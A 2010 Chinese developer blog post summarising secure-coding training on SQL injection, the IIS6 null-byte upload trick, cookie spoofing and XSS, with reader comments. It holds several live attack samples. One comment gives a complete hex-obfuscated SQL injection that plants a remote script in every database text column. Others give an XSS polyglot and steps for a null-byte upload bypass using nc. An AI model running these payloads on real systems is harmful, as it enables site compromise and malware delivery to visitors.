基本代码安全知识

昨天公司进行代码安全规范培训,有些东西早已知道,而有些东西第一次听说,于是都记下来和大家一起分享。

 

1.       防止SQL注入

a.       除了过滤单引号“ ' ”,还要过滤数据库中的注释符号“ -- ”。

b.       SQL语句中的字符串拼接,是很不靠谱的;实在要拼接,一定要从代码安全的角度多想想。

 

2.       文件上传漏洞

这是我头一次听说有这么一个漏洞。

现象:

假设我们使用的是IIS6.0及之前版本,当我们上传一个文件名为【熊猫烧香.aspx .jpg】,那么存到服务器上的文件将会是【熊猫烧香.aspx】。

 

原因:

文件名【熊猫烧香.aspx .jpg】在“.aspx”和“.jpg”之间有一个蛮像空格的符号,其实是通过16进制编码器修改出来的“ \0 ”,IIS6.0及之前版本对于上传文件名的解析是从左向右的,如果在解析时遇到空格,就认为这个文件名已经结束,于是存在服务器上的文件就是【熊猫烧香.aspx】。

 

解决方案:

我们一般都会对上传文件的后缀名进行检查,但是IIS的漏洞绕过了我们的检查,于是上传文件重命名就是一个不错的解决办法。我们把每次上传文件的后缀拿出来,取个新名字,再加上原后缀,这个问题就可解决。

 

我在之前的开发,有过上传文件的程序,碰巧我对每个上传文件都进行了重命名,但我并不知道有这个漏洞,运气啊运气…

另外补充两点:

a.       如果文件名中包含特殊字符,比如【熊猫烧香又来了.aspx;不是吧.jpg】这是一个文件名,中间包含分号“ ; ”,IIS6.0及之前版本在上传文件时正常,但是在解析时分号“ ; ”之后的文件名都不认。

b.       Apache服务器对上传文件的检查是从右向左的。

 

3.       Cookie欺骗

这个应该很简单,大家都知道从哪里可以拿到cookie,怎么伪装cookie,怎么把一台机器上的cookie移到另外一台… Cookie很常用,特别在跨域访问时,我们常常会把用户名加密以后放在客户端。检查用户是否登录,就会去查看这个cookie,那么请别忘了在检查时加上客户端ip一起校验,在一定程度上可以阻止cookie欺骗。

 

4.       XSS跨站脚本攻击

 对于这种攻击,我们要对左右尖括号“<、>”、分号“ ; ”、单引号“ ' ”进行过滤。我们对于用户输入或者获取来自地址栏的参数值(Request.QueryString["XXX"]),不应支持HTML编码。处理的方法有很多,"HttpUtility.UrlEncode”就是一种。

 

5.       其他漏洞

 标签<body>有个属性"onload”,它会把属性中的值直接解析为javascript脚本,而不需要"<script></script>”或"javascript:”。据说淘宝曾经因为不知道这个漏洞,而导致上万的用户受到损失。

 
 


转载需注明
转载自: 博客园 - 爱拼才会赢 - benjamin超人 http://www.cnblogs.com/BenjaminYao/
posted @ 2010-07-09 07:47 benjamin超人 阅读(20354) 评论(37) 编辑 收藏

 回复 引用 查看   
#1楼2010-07-09 08:51 | /:;の风雲ツ+      
文件上传直接存到数据库里不就行了 那个应该没问题吧 保存在文件夹里怎么着也不安全
 回复 引用 查看   
#2楼2010-07-09 08:53 | LanceZhang      
支持,相当年Lineage2的XSS就很严重,被棒子们BS了

这个文件上传的之前还不知道,汗。。

 回复 引用 查看   
#3楼2010-07-09 08:56 | LanceZhang      
引用/:;の风雲ツ+:文件上传直接存到数据库里不就行了 那个应该没问题吧 保存在文件夹里怎么着也不安全


这个跟存在哪里关系不大吧,并不一定是用.aspx进行欺骗,也可能用.bat .exe .js啊,都很危险

 回复 引用 查看   
#4楼2010-07-09 08:57 | LanceZhang      
关于XSS,这篇文章不错:

http://ha.ckers.org/xss.html

 回复 引用 查看   
#5楼2010-07-09 08:59 | micenter      
5. 其他漏洞

标签<body>有个属性"onload”,它会把属性中的值直接解析为javascript脚本,而不需要"<script></script>”或"javascript:”。据说淘宝曾经因为不知道这个漏洞,而导致上万的用户受到损失。

英雄:这个怎么攻击啊,提点一下哦。

 回复 引用 查看   
#6楼2010-07-09 09:00 | Kevin Cheng      
哈,受教了,第2和第5还是第一次听说,吓死我了
 回复 引用 查看   
#7楼2010-07-09 09:08 | LanceZhang      
引用micenter:
5. 其他漏洞

标签<body>有个属性"onload”,它会把属性中的值直接解析为javascript脚本,而不需要"<script></script>”或"javascript:”。据说淘宝曾经因为不知道这个漏洞,而导致上万的用户受到损失。

英雄:这个怎么攻击啊,提点一下哦。


<html>
<head></head>
<body onload="alert('asdfadsf');">
test page
</body>
</html>

 回复 引用 查看   
#8楼2010-07-09 09:11 | Arthas-Cui      
onload更好用的是img标签的onload。
以前网站支持直接用img标签插入图片的时候, 就用onload写js
或者插入一个错误的img, 用onerror。一样的。

至于文件名吗, 还有一个就是这样的:
a.aspx.
这样, 有的时候验证的时候验证不出扩展名, 然后上传上去.被自动去掉。

 回复 引用 查看   
#9楼2010-07-09 09:11 | 痕迹      
⊙﹏⊙,网搜搜一下,大堆
 回复 引用 查看   
#10楼2010-07-09 09:13 | 轩辕法王      
Position
Jul 2010 Position
Jul 2009 Delta in Position Programming Language Ratings
Jul 2010 Delta
Jul 2009 Status
1 1 Java 18.673% -1.78% A
2 2 C 18.480% +1.16% A
3 3 C++ 10.469% +0.05% A
4 4 PHP 8.566% -0.70% A
5 6 C# 5.730% +1.19% A

 回复 引用 查看   
#11楼2010-07-09 09:17 | 周公      
1. 防止SQL注入
防SQL注入最好的方式就是参数化SQL语句,这个基本上是个数据库就支持。
过滤的方法防范太小儿科了,可以ascii码的方式输入'及--的,并且在不同的数据库中这类特殊字符不太一样。

 回复 引用 查看   
#12楼2010-07-09 09:57 | 熊哥      
引用micenter:
5. 其他漏洞

标签<body>有个属性"onload”,它会把属性中的值直接解析为javascript脚本,而不需要"<script></script>”或"javascript:”。据说淘宝曾经因为不知道这个漏洞,而导致上万的用户受到损失。

英雄:这个怎么攻击啊,提点一下哦。



这个可严重了,我可以写个JS文件挂到你页面上,然后记录用户的键盘输入发到信箱,挂马==。

web安全问题汇总:
http://www.cnblogs.com/livexy/archive/2010/07/07/1773199.html

 回复 引用 查看   
#13楼2010-07-09 10:00 | 熊哥      
1. 防止SQL注入
需要过滤的东西太多了。

我发一个典型不带“'”的例子。

DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C004000430
0200056006100720063006800610072002800320035003500290020004400650063006C0061007200650020005400610062006C006
5005F0043007500720073006F007200200043007500720073006F007200200046006F0072002000530065006C00650063007400200
041002E004E0061006D0065002C0042002E004E0061006D0065002000460072006F006D0020005300790073006F0062006A0065006
30074007300200041002C0053007900730063006F006C0075006D006E00730020004200200057006800650072006500200041002E0
0490064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D00270075002700200041006E006
4002000280042002E00580074007900700065003D003900390020004F007200200042002E00580074007900700065003D003300350
020004F007200200042002E00580074007900700065003D0032003300310020004F007200200042002E00580074007900700065003
D00310036003700290020004F00700065006E0020005400610062006C0065005F0043007500720073006F007200200046006500740
06300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F0072002
00049006E0074006F002000400054002C004000430020005700680069006C006500280040004000460065007400630068005F00530
0740061007400750073003D0030002900200042006500670069006E002000450078006500630028002700750070006400610074006
50020005B0027002B00400054002B0027005D00200053006500740020005B0027002B00400043002B0027005D003D0052007400720
069006D00280043006F006E007600650072007400280056006100720063006800610072002800380030003000300029002C005B002
7002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740
070003A002F002F003300620033002E006F00720067002F0063002E006A0073003E003C002F007300630072006900700074003E002
7002700270029004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0
043007500720073006F007200200049006E0074006F002000400054002C0040004300200045006E006400200043006C006F0073006
50020005400610062006C0065005F0043007500720073006F00720020004400650061006C006C006F0063006100740065002000540
0610062006C0065005F0043007500720073006F007200 aS NvArChAR(4000));ExEc(@S);

 回复 引用 查看   
#14楼2010-07-09 10:11 | Ivony...      
1、还用替换字符串来防SQL注入?!

2、IIS识别成什么不知道有什么关系,你又不是用PUT指令上传的,如果是ASP.NET总归是要收到一个HttpPostedFile的,难道不对这个对象检查的?不对这个检查还要什么IIS漏洞,我把你网页Down下来,把文件框的什么限制脚本改改不就什么都能上传了?

3、客户端的一切都是不可信的,任何客户都可以伪造Cookies,但要把别人的Cookies偷过来就没那么容易,就好比每个人只要有把锉刀就能造钥匙,但这和开别人家的门完全是两回事!。

4、任何文本的输入,都必须经过HtmlEncode编码后输出,这是原则性问题。

5、还有CSS漏洞,这些漏洞多了去了。XSS的本质还是在于在一个有授权的环境执行被授权人不知道的脚本。对于敏感操作的二次验证,以及尽可能的创造沙盒环境(例如所有包含用户提交信息的东西放到另一个域下面呈现)能大大的提高XSS防御能力,但XSS防御现在好像还没有一个完美的解决方案。

 回复 引用 查看   
#15楼2010-07-09 10:16 | 圣殿骑士      
这些代码安全知识都是必须的,尤其是在做大型网站!
 回复 引用 查看   
#16楼2010-07-09 10:29 | /:;の风雲ツ+      
引用LanceZhang:
引用/:;の风雲ツ+:文件上传直接存到数据库里不就行了 那个应该没问题吧 保存在文件夹里怎么着也不安全


这个跟存在哪里关系不大吧,并不一定是用.aspx进行欺骗,也可能用.bat .exe .js啊,都很危险

文件存储在数据库时先转换成二进制存起来,它怎么来攻击系统呢?

 回复 引用 查看   
#17楼2010-07-09 10:37 | zsea      
如果用过滤来限制SQL注入的话,是不是可以反空格过滤了就行了呢?
 回复 引用 查看   
#18楼2010-07-09 10:40 | Tony Zhou      
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
 回复 引用 查看   
#19楼2010-07-09 10:42 | YoungCoder      
!
 回复 引用 查看   
#20楼2010-07-09 10:42 | 周公      
2. 文件上传漏洞
这也是错误的。你上传"熊猫烧香.aspx .jpg"(带空格)和"熊猫烧香又来了.aspx;不是吧.jpg"这样的文件上传并不会保存成"熊猫烧香.aspx",没有验证的事情请不要瞎说,以讹传讹很可怕。
在IIS中如果在特殊路径下的图片文件可以被当做脚本处理,在Apache中也在这样的问题,这个可以google一下。

 回复 引用 查看   
#21楼2010-07-09 11:05 | Tony Zhou      
引用周公:
2. 文件上传漏洞
这也是错误的。你上传"熊猫烧香.aspx .jpg"(带空格)和"熊猫烧香又来了.aspx;不是吧.jpg"这样的文件上传并不会保存成"熊猫烧香.aspx",没有验证的事情请不要瞎说,以讹传讹很可怕。
在IIS中如果在特殊路径下的图片文件可以被当做脚本处理,在Apache中也在这样的问题,这个可以google一下。

没有验证的事情请不要瞎说,楼主可以验证一下,我不信。

 回复 引用 查看   
#22楼[楼主]2010-07-09 11:09 | 超人哥哥      
各位园友,很想与大家讨论,但是公司上网有限制,回复和发帖都很不方便。回家后再继续和大家讨论,目前是借用手机版回复的,敬请谅解...
 回复 引用 查看   
#23楼2010-07-09 11:15 | 熊哥      
引用Tony Zhou:
引用周公:
2. 文件上传漏洞
这也是错误的。你上传"熊猫烧香.aspx .jpg"(带空格)和"熊猫烧香又来了.aspx;不是吧.jpg"这样的文件上传并不会保存成"熊猫烧香.aspx",没有验证的事情请不要瞎说,以讹传讹很可怕。
在IIS中如果在特殊路径下的图片文件可以被当做脚本处理,在Apache中也在这样的问题,这个可以google一下。

没有验证的事情请不要瞎说,楼主可以验证一下,我不信。


熊猫烧香.aspx\0.jpg中间的不是空格是\0;

如别人有上传页面 你要用抓包工具给数据包抓到数据包,
然后用16进制修改工具来修改数据包里的”熊猫烧香.aspx .jpg“修改为“熊猫烧香.aspx\0.jpg”,还需要修改一下字节数。然后用nc 模拟提交就OK了。

 回复 引用 查看   
#24楼[楼主]2010-07-09 12:38 | 超人哥哥      
@micenter
7楼已经给你回复了,呵呵

 回复 引用 查看   
#25楼[楼主]2010-07-09 12:40 | 超人哥哥      
@Tony Zhou
本来我说成是空格确实有误,应该是“ \0 ”,用16进制编码器修改而成的。文章已更改,谢谢提醒。

 回复 引用 查看   
#26楼[楼主]2010-07-09 12:42 | 超人哥哥      
@周公
这个不是以讹传讹,是我在写随笔的时候出现的失误,不是空格,应该是“ \0 ”,你提的两点,文章均已修改,谢谢提醒。

 回复 引用 查看   
#27楼[楼主]2010-07-09 12:47 | 超人哥哥      
23楼也有解释

熊哥很专业

 回复 引用 查看   
#28楼2010-07-09 14:05 | Reginald      
引用熊哥:
1. 防止SQL注入
需要过滤的东西太多了。

我发一个典型不带“'”的例子。

DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C004000430
0200056006100720063006800610072002800320035003500290020004400650063006C0061007200650020005400610062006C006
5005...


服务端程序写法:
EXECUTE("UPDATE table SET field1 = '" + input + "'")
请演示下使用非'攻击的方式

 回复 引用 查看   
#29楼2010-07-09 14:09 | LanceZhang      
引用/:;の风雲ツ+:
引用LanceZhang:
引用/:;の风雲ツ+:文件上传直接存到数据库里不就行了 那个应该没问题吧 保存在文件夹里怎么着也不安全


这个跟存在哪里关系不大吧,并不一定是用.aspx进行欺骗,也可能用.bat .exe .js啊,都很危险

文件存储在数据库时先转换成二进制存起来,它怎么来攻击系统呢?


用它的时候

 回复 引用 查看   
#30楼2010-07-09 14:33 | 熊哥      
引用Reginald:
引用熊哥:
1. 防止SQL注入
需要过滤的东西太多了。

我发一个典型不带“'”的例子。

DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C004000430
0200056006100720063006800610072002800320035003500290020004400650063006C0061007200650020005400610062006C006
5005...


服务端程序写法:
EXECUTE("UPDATE table SET field1 = '" + input + "'")
请演示下使用非'攻击的方式


你这种不可以用“不带'的方法”。
“不带'的方法”主要用在EXECUTE("UPDATE table SET field1 = " + input)这种。

建议大家使用Parameter参数传入,不要拼接字符串。

 回复 引用 查看   
#31楼2010-07-09 14:46 | Reginald      
引用熊哥:
引用Reginald:
引用熊哥:
1. 防止SQL注入
需要过滤的东西太多了。

我发一个典型不带“'”的例子。

DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C004000430
0200056006100720063006800610072002800320035003500290020004400650063006C006100720065...

如果是值类型,在服务端用int.Parse之类的强制转型就可以了

所以要“过滤很多”这个说法其实是不大妥当的
 回复 引用 查看   
#32楼2010-07-09 15:17 | /:;の风雲ツ+      
引用LanceZhang:
引用/:;の风雲ツ+:
引用LanceZhang:
引用/:;の风雲ツ+:文件上传直接存到数据库里不就行了 那个应该没问题吧 保存在文件夹里怎么着也不安全


这个跟存在哪里关系不大吧,并不一定是用.aspx进行欺骗,也可能用.bat .exe .js啊,都很危险

文件存储在数据库时先转换成二进制存起来,它怎么来攻击系统呢?


用它的时候

用的时候是从数据库读的二进制数据,要下载到客户端才能转换成文件,就算有攻击性也是攻击的客户端,服务器又不会被破坏

 回复 引用 查看   
#33楼2010-07-09 15:33 | 周公      
引用超人哥哥:
@周公
这个不是以讹传讹,是我在写随笔的时候出现的失误,不是空格,应该是“ \0 ”,你提的两点,文章均已修改,谢谢提醒。

这个经证实确实可以做到,你以前的说法有错,现在的是没有问题。具体操作流程有想实践的童鞋可以看这个网址: WSockExpert&nc上传原理

 回复 引用 查看   
#34楼2010-07-09 21:30 | Tony Zhou      
引用超人哥哥:
@Tony Zhou
本来我说成是空格确实有误,应该是“ \0 ”,用16进制编码器修改而成的。文章已更改,谢谢提醒。

:)

 回复 引用 查看   
#35楼2010-07-09 23:19 | yzy      
我觉得上传文件上传到数据库里应该不好。假如文件很大很大。也存数据库。那数据库就很臃肿。。我觉得。第一像楼主说的上传的文件都更改名称。比较不错。还有设置iis 上传文件夹 不可执行。去掉执行权限。那么里面的任何文件都不可以执行。这样也可以。
 回复 引用 查看   
#36楼2010-07-13 11:37 | LanceZhang      
引用/:;の风雲ツ+:
引用LanceZhang:
引用/:;の风雲ツ+:
引用LanceZhang:
引用/:;の风雲ツ+:文件上传直接存到数据库里不就行了 那个应该没问题吧 保存在文件夹里怎么着也不安全


这个跟存在哪里关系不大吧,并不一定是用.aspx进行欺骗,也可能用.bat .exe .js啊,都很危险

文件存储在数据库时先转换成二进制存起来,它怎么来攻击系统呢?


用它的时候

用的时候是从数据库读的二进制数据,要下载到客户端才能转换成文件,就算有攻击性也是攻击的客户端,服务器又不会被破坏


那跟网站被挂马有什么区别?服务器安全就算是安全性达标了?

 回复 引用 查看   
#37楼2010-07-18 15:01 | micenter      
引用LanceZhang:
引用micenter:
5. 其他漏洞

标签<body>有个属性"onload”,它会把属性中的值直接解析为javascript脚本,而不需要"<script></script>”或"javascript:”。据说淘宝曾经因为不知道这个漏洞,而导致上万的用户受到损失。

英雄:这个怎么攻击啊,提点一下哦。


<html>
<head></head>
<body onload="alert('asdfadsf');">
test page
</body>
</html>


你可以直接改服务上的 页面文件的内容吗? 不然你的这外"alert('asdfadsf');" 怎么加上去?

无觅相关文章插件,快速提升流量